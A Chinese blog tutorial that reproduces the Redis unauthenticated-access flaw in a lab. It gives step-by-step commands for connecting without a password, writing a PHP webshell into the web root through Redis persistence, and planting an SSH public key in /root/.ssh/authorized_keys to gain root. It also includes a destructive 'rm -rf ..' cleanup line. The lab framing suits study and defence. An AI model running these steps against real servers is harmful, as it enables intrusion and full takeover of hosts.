• Redis未授权访问漏洞复现(三种方式)


    目录

    利用无口令远程登陆redis

    利用Redis的持久化写webshell

    安装

    复现

    Redis 利用持久化,利用“公私钥“认证获取root权限


    利用无口令远程登陆redis

    开了web服务器,并且知道对方IP地址就可以

    ./redis-server ../redis.conf
    
    ./redis-cli -h 192.168.0。0[目标靶机地址]
    
    • 1
    • 2
    • 3


    利用Redis的持久化写webshell

    安装

    由于靶场没有开启web服务器,配置好apache和php

    firewall-cmd --zone=public --add-port=80/tcp --permanent   #开启80端口
    
    systemctl restart firewalld.service    #重启反获取
    
    yum install php php-mysql -y   
    
    php -v
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    vi /etc/httpd/conf/httpd.conf 在配置文件中,添加如下内容:

    AddType application/x-httpd-php-source .phps
    
    AddType application/x-httpd-php .php
    
    • 1
    • 2
    • 3

    php -v
    
    cd /var/www/html
    
    vi info.php   #新建并编写info.php文件   内容为
      
    systemctl restart httpd   #重启httpd服务
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在其他计算机里测试 ip地址/info.php如出现PHP version界面,则成功

    复现

    靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

    要开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件。)

    在html目录下写入一个test.php的木马文件:

    攻击机写下如下redis命令

    写一句话木马

    Config set dbfilename test1.php
    
    set webshell "
    
    
    
    "
    
    Save 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    打开菜刀进行连接到有一句话木马的文件里

    双击菜刀首页的那个连接,就能获得所有的网站的文件内容


    Redis 利用持久化,利用“公私钥“认证获取root权限

    靶机要启动进入redis.cli服务里

    在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:

    ssh-keygen -t rsa
    
    • 1

    会有一堆问题,但不用管 回车跳过就可以了

    进入/root/.ssh目录: 将生成的公钥保存到1.txt:

    cd /root/.ssh
    
    (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > 1.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis

    使用redis-cli -h ip命令连接靶机,将文件写入:

    # 这里试了很多次一直出现下图错误,手打一遍才成功,有如下问题的,可以试一试

    实际上是靶机没有.ssh程序 在靶机上安装一个即可

    cat 1.txt | redis-cli -h [靶机ip地址] -x?set?crack
    
    • 1

    因为我此时在的路径里只有1.txt,没有redis服务,所以在管道符后面补充了redis所在的路径成功

    接下来redis连接目标靶机,进入redis存放路径的src路径里,并执行以下操作

    # 如果config set dir /root/.ssh 此条命令出错,新打开一条终端,进入ssh目录下,再试一遍

    ./redis-cli -h 192.168.0.0[靶机ip地址]
    
    config set dir /root/.ssh     #更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
    
    CONFIG SET dbfilename authorized_keys   #设置上传公钥的备份文件名字为authorized_keys
    
    save     #保存
    
    quit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在靶机上查看一下ssh目录里是否有authorized_keys文件

    此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:

    ssh -i id_rsa root@192.168.0.0[目标靶机ip地址]
    
    • 1

    登陆靶机服务器,获得root权限成功

    #注意:所有操作皆在攻击机(客户机)里操作,靶机只需要进入redis.cli中以及查询ssh中是否有authorized_keys文件即可。


    如果有些操作一直错误,可以重头来一遍 需执行以下命令(攻击机、靶机都要删干净)

    cd /root/.ssh
    
    rm -rf ..    # 把ssh里的所有文件都删掉   a* 以a开头的所有文件
    
    • 1
    • 2
    • 3

    删干净之后就可以重新来了。(我试了n遍才做出来,大家不要着急,慢慢来(#.#))

  • 相关阅读:
    YTM32的电源管理与低功耗系统详解
    static和const关键字的区别
    Java之HikariCP数据库连接池浅入浅出
    continue和break的区别与用法
    21、Java 中接口的基本使用
    Android中使用Java计算指定日期、时间戳等方法的合集
    文心一言 VS 讯飞星火 VS chatgpt (121)-- 算法导论10.4 2题
    python3 词频统计计数分析+可视化词云 jieba+wordcloud 数据分析
    C++学习笔记(17)
    FSL 6.07安装
  • 原文地址:https://blog.csdn.net/m0_67393619/article/details/126495404